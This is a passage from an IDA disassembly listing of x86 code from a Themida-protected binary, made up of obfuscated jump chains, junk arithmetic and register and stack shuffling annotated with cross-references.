[esp+2], bx add word ptr [esp+2], 19D6h pop bx jmp loc_58E78F ; --------------------------------------------------------------------------- loc_594542: ; CODE XREF: Themida_:0058D0B7j push 5488h mov [esp], edx mov edx, 2 add ebp, edx pop edx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push esi mov esi, esp jmp loc_596969 ; --------------------------------------------------------------------------- loc_594566: ; CODE XREF: Themida_:0058F125j push eax mov eax, 599D6AFEh jmp loc_59572E ; --------------------------------------------------------------------------- loc_594571: ; CODE XREF: Themida_:00596E58j pop ecx mov bh, [esp+2] mov [esp+2], ah jmp loc_596C5D ; --------------------------------------------------------------------------- loc_59457F: ; CODE XREF: Themida_:005958FEj and bh, 7Eh push small 5084h jmp loc_596EAC ; --------------------------------------------------------------------------- loc_59458B: ; CODE XREF: Themida_:005944D6j mov [esp], ebp jmp loc_591AD9 ; --------------------------------------------------------------------------- loc_594593: ; CODE XREF: Themida_:0058CCA0j ja loc_593598 jmp loc_59499A ; --------------------------------------------------------------------------- mov dh, 0FEh dec dh mov esi, ecx mov ch, bl ; START OF FUNCTION CHUNK FOR sub_590467 loc_5945A6: ; CODE XREF: sub_590467-25E0j pop ebp mov dword ptr [edx], 1 mov edx, [esp-6+arg_0+2] add esp, 4 push esi mov esi, 7E0C27E0h sub esi, 3BCF57CAh jbe loc_592268 shl esi, 3 jmp loc_597C92 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_5945D0: ; CODE XREF: Themida_:0058DE06j shr ecx, 3 xor ecx, 39B0A706h mov eax, ecx jmp loc_58E300 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5945E0: ; CODE XREF: sub_58C17E-10E2j ; Themida_:loc_58CD7Bj shr edi, 6 sub edi, 71E80F89h jmp loc_592F62 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_5945EE: ; CODE XREF: Themida_:00596F04j push 24633F5Eh jmp loc_590223 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_5945F8: ; CODE XREF: sub_595E21-2BEFj push esi mov esi, esp push ebx mov ebx, 4 add esi, ebx jmp loc_597166 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- loc_594608: ; CODE XREF: Themida_:00594482j pop ecx jmp loc_58F7F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_59460E: ; CODE XREF: sub_58F5B5-217Bj push eax mov eax, 4 sub esi, eax jmp loc_58B2C6 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_59461B: ; CODE XREF: Themida_:00592D8Cj push 36A4h mov [esp], edi mov edi, 3F122986h shl edi, 7 and edi, 497245DCh xor edi, 5C852292h add ecx, edi pop edi jmp loc_58B676 ; --------------------------------------------------------------------------- loc_59463F: ; CODE XREF: Themida_:00595067j push ebx jmp loc_59687B ; --------------------------------------------------------------------------- loc_594645: ; CODE XREF: Themida_:0059599Fj sub al, 98h jmp loc_591993 ; --------------------------------------------------------------------------- loc_59464C: ; CODE XREF: Themida_:0058EBF9j pop edx add ebp, edi jmp loc_58B21A ; =============== S U B R O U T I N E ======================================= sub_594654 proc near ; CODE XREF: sub_5916C4+2FEAj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058A314 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0058A7F9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058B3A4 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058C0D8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058C99E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058D1B3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058D5F8 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058EBB5 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058F4AC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00591FF5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005927C2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059346E SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00593C61 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00594C56 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00596BA6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059710A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005977BA SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00597CA5 SIZE 00000016 BYTES push ebx mov ebx, 4 add edx, ebx push [esp+4+var_4] pop ebx jmp loc_58EBB5 sub_594654 endp ; --------------------------------------------------------------------------- loc_594665: ; CODE XREF: Themida_:0058F0E2j add edx, 0D922E379h mov ecx, edx pop edx neg ecx jmp loc_597B75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_594675: ; CODE XREF: sub_595123-9DC3j add edx, edi jmp loc_58B9C9 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_59467C: ; CODE XREF: Themida_:00591D06j add ebx, 8CE256E9h push esi jmp loc_58B5AF ; --------------------------------------------------------------------------- loc_594688: ; CODE XREF: Themida_:00592B93j mov ebp, 615E7027h or eax, ebp pop ebp xor eax, 0B4449CC9h sub ebp, eax pop eax jmp loc_597C14 ; --------------------------------------------------------------------------- loc_59469D: ; CODE XREF: Themida_:00593D2Ej push edi push esi mov esi, 6BE54E83h jmp loc_58D38E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5946A9: ; CODE XREF: sub_5916C4+454Fj mov [esp+12h+var_12], edx push esp pop edx jmp sub_594654 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EC96 loc_5946B3: ; CODE XREF: sub_58EC96+79BAj movzx eax, al jmp dword ptr [edi+eax*4] ; END OF FUNCTION CHUNK FOR sub_58EC96 ; --------------------------------------------------------------------------- popa jmp locret_58E754 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5946BF: ; CODE XREF: sub_5916C4-520Ej xchg esi, [esp-16h+arg_10+2] pop esp push ebp push ecx mov ecx, 7D0878FBh mov ebp, ecx pop ecx shr ebp, 2 jnp loc_58DFBD jmp loc_590118 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- neg dword ptr [esp] push dword ptr [esp] mov ecx, edi ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_5946E3: ; CODE XREF: sub_5919E2-4659j pop edx pop ecx add eax, ecx push ecx push 0F372D67h pop ecx jmp loc_59615A ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_5946F3: ; CODE XREF: sub_592D25+22j jmp loc_5909F8 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- loc_5946F8: ; CODE XREF: Themida_:0058EA8Bj mov ebx, esp push 4A10h mov [esp], edi mov edi, 46F60EE8h jmp loc_58BEF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_59470C: ; CODE XREF: sub_5916C4-60C4j ; Themida_:0058F04Ej shl eax, 1 jnp loc_590EDD jmp loc_59423F ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_594719: ; CODE XREF: sub_58F5B5+874Dj sub ebp, 4291057Dh jnz loc_5955E8 add ebp, 0F4D74686h mov ebx, ebp pop ebp inc ebx xchg ebp, ebx not ebp pop edx ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_594734: ; CODE XREF: sub_5EC2E8-5F292j mov ebp, eax pop eax sub [edi+24h], ebp push [esp+2Ch+var_2C] mov ebp, [esp+30h+var_30] push ebx jmp loc_58C450 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_594746: ; CODE XREF: Themida_:005943D5j add edi, 4 jmp loc_593C84 ; --------------------------------------------------------------------------- loc_594751: ; CODE XREF: Themida_:0058EA9Fj push ecx mov ecx, 1D527E60h dec ecx inc ecx push ebp push edi mov edi, 57975120h mov ebp, edi jmp loc_59202D ; --------------------------------------------------------------------------- loc_594767: ; CODE XREF: Themida_:00595B83j sub eax, 4 xchg eax, [esp] pop esp push esp pop dword ptr [esp] push ebx mov ebx, 4 add [esp+4], ebx pop ebx jmp loc_5932B4 ; --------------------------------------------------------------------------- loc_594784: ; CODE XREF: Themida_:00591D54j sub esp, 4 mov [esp], ecx push eax mov al, 27h dec al jmp loc_593C4C ; --------------------------------------------------------------------------- loc_594794: ; CODE XREF: Themida_:0058D8F7j mov [esp], eax mov ah, 18h jmp loc_593E23 ; --------------------------------------------------------------------------- loc_59479E: ; CODE XREF: Themida_:005968DFj shr dh, 4 jnz loc_591432 xor dh, 4Ch jmp loc_58F10B ; --------------------------------------------------------------------------- mov bl, 0C7h loc_5947B1: ; CODE XREF: Themida_:0058AB4Dj mov ch, 0E6h sub bl, ch mov cx, [esp] add esp, 2 push ecx mov cl, 1Eh add cl, 2Fh add bl, cl jmp loc_592BC0 ; --------------------------------------------------------------------------- loc_5947C9: ; CODE XREF: Themida_:0058C37Cj jmp loc_591169 ; --------------------------------------------------------------------------- loc_5947CE: ; CODE XREF: Themida_:00595893j sub esp, 4 mov [esp], edx jmp loc_58D9B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_5947DC: ; CODE XREF: sub_5EC2E8-60BB4j ; Themida_:0058DDF6j jp loc_58BB23 or dl, 81h jnp sub_596CA1 push ebx mov bl, 1Ch not bl jmp loc_58FB47 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- pop ecx mov ecx, esi ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5947F8: ; CODE XREF: sub_58C17E+146Bj pop esi add ebx, edi sub ebx, 40314BC9h jmp loc_58F7A5 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_594806: ; CODE XREF: sub_590010-341Aj add esi, 644E1B53h push eax jmp loc_58B51F ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_594812: ; CODE XREF: sub_595E21-74F5j pop ebp mov ecx, ebp pop ebp jmp loc_59168F ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_59481B: ; CODE XREF: sub_58C17E-3A9j add edi, 1CEA6F0Dh sub edi, 7B762154h xor edi, 73C754D7h jmp loc_5921A6 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_594832: ; CODE XREF: Themida_:00592602j push eax mov eax, 32BB0C87h sub eax, 17F21559h not eax sub eax, 36AB583Eh jmp loc_5979D2 ; --------------------------------------------------------------------------- loc_594849: ; CODE XREF: Themida_:00594D92j mov ebx, 5D525905h sub [esp+8], ebx pop ebx sub [esp+4], ebp push esi jmp loc_596BD8 ; --------------------------------------------------------------------------- loc_59485D: ; CODE XREF: Themida_:005973CDj and ebp, 5C543E8Bh jmp loc_596D79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_594868: ; CODE XREF: sub_595258-72ABj mov edx, esi push [esp+0Ch+var_C] pop esi add esp, 4 and eax, edx pop edx or edx, eax shl edx, 1 push dword ptr [edi+24h] jmp loc_58C8BC ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BA12 loc_594880: ; CODE XREF: sub_58BA12+6AAEj not edi jmp loc_593F00 ; END OF FUNCTION CHUNK FOR sub_58BA12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_594887: ; CODE XREF: sub_58C17E+2AD5j push edx add [esp+4+var_4], 2BEF5894h pop eax sub eax, 2BEF5894h jmp loc_596AAC ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_59489A: ; CODE XREF: sub_5916C4-5F4Aj ; Themida_:00590CA6j mov [esp+0], eax mov eax, 1 mov edx, eax mov eax, [esp+0] jmp loc_596173 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5948AC: ; CODE XREF: sub_58C17E+712Aj sub ecx, 31B152B2h jmp loc_5953C4 ; END OF FUNCTION CHUNK FOR sub_58C17E ; =============== S U B R O U T I N E ======================================= sub_5948B7 proc near ; CODE XREF: sub_5916CB+473Bj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058BE59 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00590305 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00590E5C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00596928 SIZE 0000002E BYTES sub esp, 4 mov [esp+4+var_4], ebp sub esp, 4 mov [esp+8+var_8], esp add [esp+8+var_8], 4 pop ebp push eax mov eax, 4 sub ebp, 68B54411h jmp loc_596928 sub_5948B7 endp ; --------------------------------------------------------------------------- loc_5948DF: ; CODE XREF: Themida_:0058DB5Fj mov bp, 2645h shl bp, 1 jmp loc_592369 ; --------------------------------------------------------------------------- loc_5948EB: ; CODE XREF: Themida_:00593B69j shr ebx, 3 not ebx push ecx mov ecx, 59CC2972h neg ecx inc ecx not ecx shl ecx, 4 jmp loc_591D8C ; --------------------------------------------------------------------------- loc_594903: ; CODE XREF: Themida_:0058F631j sub esp, 4 jmp near ptr byte_58A717 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_59490B: ; CODE XREF: sub_595E21-9162j ; sub_58C17E+2F9Bj jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_594910: ; CODE XREF: Themida_:005921A1j push dword ptr [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_58BC83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_594936: ; CODE XREF: sub_58C17E+5F1Ej push eax jmp loc_59366E ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_59493C: ; CODE XREF: sub_590467+714Cj mov edx, [esp-6+arg_0+2] add esp, 4 add al, bh mov ebx, [esp-0Ah+arg_4+2] add esp, 4 push edi mov edi, esp add edi, 4 sub edi, 4 xor edi, [esp-0Ah+arg_4+2] xor [esp-0Ah+arg_4+2], edi xor edi, [esp-0Ah+arg_4+2] pop esp mov [esp-0Eh+arg_8+2], ebx mov bl, 35h push eax mov al, 0EBh inc al xchg cl, al jmp loc_58C03A ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_594971: ; CODE XREF: sub_590B70+102Bj add edi, 25200235h neg edi jge loc_591909 xor edi, 0AFCAA726h push edi pop esi pop edi mov edx, esi mov esi, [esp+4+var_4] add esp, 4 add edx, edi jmp loc_590E7D ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- loc_59499A: ; CODE XREF: Themida_:00594599j ; Themida_:005973E4j pop esi jmp loc_597324 ; --------------------------------------------------------------------------- loc_5949A0: ; CODE XREF: Themida_:00595C2Ej xchg edi, esi jmp loc_5965E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_5949A7: ; CODE XREF: sub_5938B9-7DB8j pop ecx add bl, al jmp loc_591EF3 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_5949AF: ; CODE XREF: Themida_:0058DEA4j or esi, 5D2E09B2h jmp loc_590EDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F836 loc_5949BA: ; CODE XREF: sub_58F836+5BCj and ebp, edx jmp loc_595EED ; END OF FUNCTION CHUNK FOR sub_58F836 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_5949C1: ; CODE XREF: sub_5916CB-6D7Cj add esp, 4 shr eax, 0Ah xor eax, ecx push 5612h jmp loc_597D77 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- loc_5949D3: ; CODE XREF: Themida_:0058E02Fj xor ebx, 5471A2B7h sub esp, 4 mov [esp], edx jmp loc_58E06E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_5949E4: ; CODE XREF: sub_5EC2E8-5D407j add esp, 4 pop [esp+34h+var_34] mov esp, [esp+30h+var_30] sub esp, 4 mov [esp+34h+var_34], ebp sub esp, 4 mov [esp+38h+var_38], esp jmp loc_58B6B0 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_58C577 ; --------------------------------------------------------------------------- loc_594A0D: ; CODE XREF: Themida_:0058BCA0j add edx, edi jmp loc_58F74F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59590E loc_594A14: ; CODE XREF: sub_59590E+Ej mov ebx, ecx pop ecx shl ebx, 7 not ebx inc ebx add ebx, 719BFD82h add ecx, ebx pop ebx xor ecx, [esp+0] xor [esp+0], ecx xor ecx, [esp+0] jmp loc_58DFDF ; END OF FUNCTION CHUNK FOR sub_59590E ; --------------------------------------------------------------------------- loc_594A34: ; CODE XREF: Themida_:00591C8Aj mov ebp, 1A507240h jmp loc_5951F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_594A3E: ; CODE XREF: sub_58F5B5-1F8Aj shr eax, 6 jmp loc_58C546 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_594A46: ; CODE XREF: sub_5916C4-3966j ; sub_595BDA-211Bj push ecx mov ch, 47h jmp loc_58C7F9 ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- loc_594A4E: ; CODE XREF: Themida_:00595741j push eax mov eax, 4 jmp loc_592B87 ; --------------------------------------------------------------------------- loc_594A59: ; CODE XREF: Themida_:00594EE6j shl ah, 3 jmp loc_58FED9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EC96 loc_594A61: ; CODE XREF: sub_58EC96+3j push ax mov ah, 66h add cl, ah jmp loc_593F42 ; END OF FUNCTION CHUNK FOR sub_58EC96 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_594A6C: ; CODE XREF: sub_58F5B5+1493j add ebx, 4 push edx mov edx, 4 add ebx, edx pop edx xchg ebx, [esp-4+arg_0] pop esp sub esp, 4 mov [esp-4+arg_0], edi push ebp push esi push 547819ABh pop esi mov ebp, esi pop esi shr ebp, 3 push 53B8h mov [esp+4+var_4], edx mov edx, 282D4C8Ch sub ebp, edx pop edx add ebp, 500D551Eh jns loc_596ACF add ebp, 76162828h jmp loc_5923DB ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- mov cl, 0D0h loc_594AC0: ; CODE XREF: Themida_:0058E32Aj mov cl, 4Eh xor cl, 0AEh sub bl, cl pop ecx sub bl, 0Ch add bl, al add bl, 0Ch push cx mov cl, 0E0h jmp loc_5972CE ; --------------------------------------------------------------------------- loc_594AD9: ; CODE XREF: Themida_:00593DB6j ; Themida_:00597F29j jb loc_594E63 jmp loc_58D400 ; --------------------------------------------------------------------------- mov edi, esi mov bh, ch mov bl, 4Bh loc_594AEA: ; CODE XREF: Themida_:00594FAAj sub edx, 0D607D4h push dword ptr [esp] pop edi add esp, 4 push eax jmp loc_5930A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_594AFD: ; CODE XREF: sub_5916C4-1BEDj and ebp, esi pop esi xor ebp, 70252284h add ecx, ebp mov ebp, [esp-10h+arg_C] add esp, 4 xchg ecx, [esp-14h+arg_10] mov esp, [esp-14h+arg_10] jmp sub_591D0B ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_594B19: ; CODE XREF: Themida_:00593C50j jmp loc_593B7A ; --------------------------------------------------------------------------- loc_594B1E: ; CODE XREF: Themida_:0059666Cj mov [esp], ebp mov ebp, 5EB64723h jmp loc_58EB69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_594B2B: ; CODE XREF: sub_58C17E:loc_58CED7j ; sub_58C17E+BC9Bj push ecx push edi mov edi, 2810337Eh jmp loc_58D2DA ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594FD6 loc_594B37: ; CODE XREF: sub_594FD6+Ej pop eax jmp loc_597062 ; END OF FUNCTION CHUNK FOR sub_594FD6 ; --------------------------------------------------------------------------- loc_594B3D: ; CODE XREF: Themida_:005925D6j inc bh xor bh, 5Bh mov cl, bh pop ebx xor al, cl mov ecx, [esp] jmp loc_58C5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_594B4F: ; CODE XREF: sub_595BDA-8A7Bj push esp pop ecx add ecx, 4 push edi push esi jmp loc_597E45 ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_594B5E: ; CODE XREF: sub_5916C4+959j mov ecx, esp jmp loc_595705 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_594B65: ; CODE XREF: Themida_:0058CF58j mov ebx, 564D74F4h xor ebx, 4B7420AEh mov eax, ebx mov ebx, [esp] add esp, 4 sub eax, 396524E6h push ebx mov ebx, 0C1C8776Dh xor eax, ebx jmp loc_5916D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_594B8D: ; CODE XREF: sub_590010+2401j sub esi, eax pop eax and esi, 688F04B7h jmp sub_595258 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_594B9B: ; CODE XREF: sub_5916C4-1E0j add ebp, 0A2706DBh sub edx, 5B8A3F89h jmp loc_58A9A8 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_594BAC: ; CODE XREF: sub_5916CB+516Aj neg eax jbe loc_58C72E add eax, 0B13531EBh jmp loc_590C11 ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- jmp loc_591E91 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_594BC3: ; CODE XREF: sub_58F5B5+465Fj jmp loc_591954 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_594BC8: ; CODE XREF: Themida_:0058B180j push eax mov eax, 4 add ebx, eax pop eax push 5B68h mov [esp], edi push ecx jmp loc_590955 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_594BDF: ; CODE XREF: sub_59762D-69D4j push edx mov edx, 7E802668h inc edx xchg eax, edx not eax xchg eax, edx inc edx shl edx, 3 shr edx, 5 add edx, 61CCE833h add ebx, edx pop edx xor ebp, ebx mov ebx, [esp+8+var_8] add esp, 4 push edx push esi mov esi, 0 push esi pop edx pop esi sub edx, ebp jmp loc_597832 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_594C16: ; CODE XREF: sub_58C17E+D07j xchg ecx, [esp-16h+arg_10+2] pop esp div cl movzx cx, ah push 554Bh mov [esp-16h+arg_10+2], esi push esp pop esi push eax jmp loc_58D085 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_594C30: ; CODE XREF: sub_59524C-6928j mov edi, 7D13274Ch inc edi push ecx jmp loc_593320 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_594C3C: ; CODE XREF: sub_5916C4+583Aj add [esp-18h+arg_14], 4CB11663h pop ecx push edi push edx push 17B94C21h pop edx jmp loc_5972E7 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_594C51: ; CODE XREF: sub_5EC2E8-606D0j jmp loc_58B9A8 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594654 loc_594C56: ; CODE XREF: sub_594654-9E58j xor edi, 5BBE7399h neg edi jmp loc_593C61 ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- push esi mov esi, esp add esi, 4 sub esi, 2 jmp loc_592321 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_594C74: ; CODE XREF: sub_58C17E+4E04j push edx mov edx, 4F8F6799h mov esi, edx push dword ptr [esp+0] pop edx add esp, 4 sub esi, 4F8F6798h push esi push ebp mov ebp, 6F646A69h sub [esp+4], ebp pop ebp pop eax add eax, 6F646A69h pop esi shl eax, cl push 24B0h mov [esp+0Ah+var_C+2], edi mov edi, 0FFFFFFFFh jmp loc_58A7D7 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_594CB3: ; CODE XREF: sub_5916C4:loc_590EDDj jmp loc_58C4FF ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_594CB8: ; CODE XREF: Themida_:0058B50Dj xchg edi, [esp] pop esp jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_594CC1: ; CODE XREF: sub_58B4D6+AE78j add eax, ebx pop ebx push edi sub esp, 4 mov [esp+0Ch+var_C], ebp mov ebp, 784120C6h push ebp pop edi jmp loc_59242F ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_594CDA: ; CODE XREF: sub_590010+64F3j pop edi add ecx, 9B24B80h pop eax push 4F17h mov [esp+0], ebp push 38F32868h mov ebp, [esp-10h+arg_C] jmp loc_591B1E ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591059 loc_594CF7: ; CODE XREF: sub_591059+9j mov ebp, 1A661CA9h mov ebx, 80F9793Ch add ebx, 5BC2138Eh sub ebx, ebp sub ebx, 5BC2138Eh mov ebp, [esp+4+var_4] add esp, 4 sub ebx, 61EE235Ch push eax mov eax, 61F1195Ah jmp loc_58CBA4 ; END OF FUNCTION CHUNK FOR sub_591059 ; --------------------------------------------------------------------------- loc_594D26: ; CODE XREF: Themida_:00595533j mov esp, [esp] idiv cl movzx cx, ah push small 3F55h mov [esp], cx movzx cx, al jmp loc_593D44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_594D40: ; CODE XREF: sub_58C17E+8F9Aj pop esp push esi mov esi, 2AEF3068h add edi, esi pop esi push esi mov esi, 19742664h or edi, esi pop esi not edi xor edi, 0A002891Ah add ebp, edi mov edi, [esp+6+var_8+2] add esp, 4 xchg ebp, [esp+2+var_4+2] jmp loc_58D8E9 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_594D6B: ; CODE XREF: Themida_:0059527Aj mov eax, 4 add ecx, eax pop eax add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp push 57B44BA4h pop ebp push ebx jmp loc_594849 ; --------------------------------------------------------------------------- loc_594D97: ; CODE XREF: Themida_:00591448j sub esp, 4 mov [esp], esi jmp loc_596E7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_594DA2: ; CODE XREF: sub_5916C4+48FBj pop esi push ecx jmp loc_58B605 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_594DA9: ; CODE XREF: sub_5EC2E8-55075j xor eax, edx pop edx sub eax, 0FFFFFFFFh push eax not [esp+30h+var_30] pop eax not eax shr eax, 8 add eax, 2BBFF521h add ebp, eax pop eax sub ebp, 49943014h add ebp, ecx add ebp, 49943014h jmp loc_591954 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_594DD6: ; CODE XREF: Themida_:loc_58F5C0j add eax, 0D2E09E6h jmp loc_58D8C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION 